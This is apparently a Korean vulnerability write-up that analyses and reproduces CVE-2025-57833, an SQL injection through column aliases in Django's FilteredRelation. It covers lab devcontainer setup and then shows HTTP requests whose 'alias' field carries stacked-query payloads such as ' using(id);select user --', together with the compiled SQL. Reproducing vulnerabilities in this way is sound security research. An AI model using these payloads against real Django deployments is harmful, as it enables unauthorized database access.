
CVE-2025-57833 분석 및 재현
Django에서 1년 만에 터진 SQL 주입 취약점으로, 대략 보면 별칭(alias)으로 인한 주입입니다 (어차피 별칭은 사전 컴파일이 불가능하기 때문입니다)
이 취약점은 Django 프레임워크의 FilteredRelation 기능에 영향을 미칩니다. QuerySet.annotate() 또는 QuerySet.alias() 메서드를 사용하고 Python의 딕셔너리 확장(**kwargs)을 통해 열 별칭을 제공할 때 SQL 주입 위험이 존재합니다. 이는 딕셔너리 키(즉, 열 별칭)에 대한 검증이 충분하지 않아 공격자가 악성 딕셔너리를 구성하여 제한 없는 SQL 문을 주입할 수 있기 때문입니다.
이 취약점의 영향 범위는 다음과 같습니다.
이 취약점 프로젝트는 vscode의 devcontainer를 사용하여 구축되었습니다.
1️⃣ 프로젝트 열기
VS Code로 기존 프로젝트 루트 디렉터리(.devcontainer 폴더 포함)를 엽니다.
2️⃣ 컨테이너 다시 열기(Dev Container 빌드)
Ctrl+Shift+P(Windows/Linux) 또는 Cmd+Shift+P(Mac)를 누릅니다.
Remote-Containers: Reopen in Container를 입력합니다.
VS Code가 .devcontainer 구성을 읽고 컨테이너를 빌드합니다(첫 빌드는 몇 분 정도 걸릴 수 있습니다).
⚠️ Dockerfile이나 종속성이 업데이트된 경우 Remote-Containers: Rebuild Container를 선택하여 최신 환경을 사용할 수 있습니다.
3️⃣ Django 개발 서버 실행
명령 팔레트 Ctrl+Shift+P를 엽니다.
Tasks: Run Task를 입력합니다.
django:start를 선택합니다(작업은 .vscode/tasks.json에 이미 구성되어 있습니다).
이 작업은 컨테이너 내에서 Django 개발 서버를 시작합니다.
기본적으로 0.0.0.0:8085를 수신합니다.
4️⃣ 브라우저를 열어 프로젝트에 접속
브라우저를 열고 접속합니다:
5️⃣ 주의사항
첫 실행 시:
데이터베이스 마이그레이션을 실행해야 할 수 있습니다:
python manage.py migrate
서버 시작 후 http://localhost:8085에 접속합니다.
/book/search 인터페이스에 정상적으로 접근합니다.
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX","author":"Bob"}

이때 django orm 내부에서 컴파일된 sql은 다음과 같습니다.
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" XXX ON ("vuln_book"."author_id" = XXX."id" AND (XXX."name" = Bob)) WHERE XXX."id" > 0
vuln_author 테이블의 별칭 XXX가 생성된 것을 확인할 수 있습니다. 위 패치 분석에 따르면 현재 XXX에 대한 필터링이 없으므로 주입을 수행합니다.
스택 주입을 직접 사용하면 이전의 첫 번째 sql이 유효하지 않기 때문에 두 번째 sql은 실행되지 않습니다.
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX;select user --","author":"Bob"}

따라서 먼저 첫 번째 문을 유효하게 만들어야 합니다. 여기서는 연관 관계이므로 using 구문을 직접 사용합니다.
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":" using(id);select user --","author":"Bob"}

이로써 주입에 성공하여 데이터베이스 실행 사용자가 postgres임을 확인했습니다. 이때 내부에서 성공적으로 컴파일된 sql 문은 다음과 같습니다.
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" using(id);select user -- ON ("vuln_book"."author_id" = using(id);select user --."id" AND ( using(id);select user --."name" = Bob)) WHERE using(id);select user --."id" > 0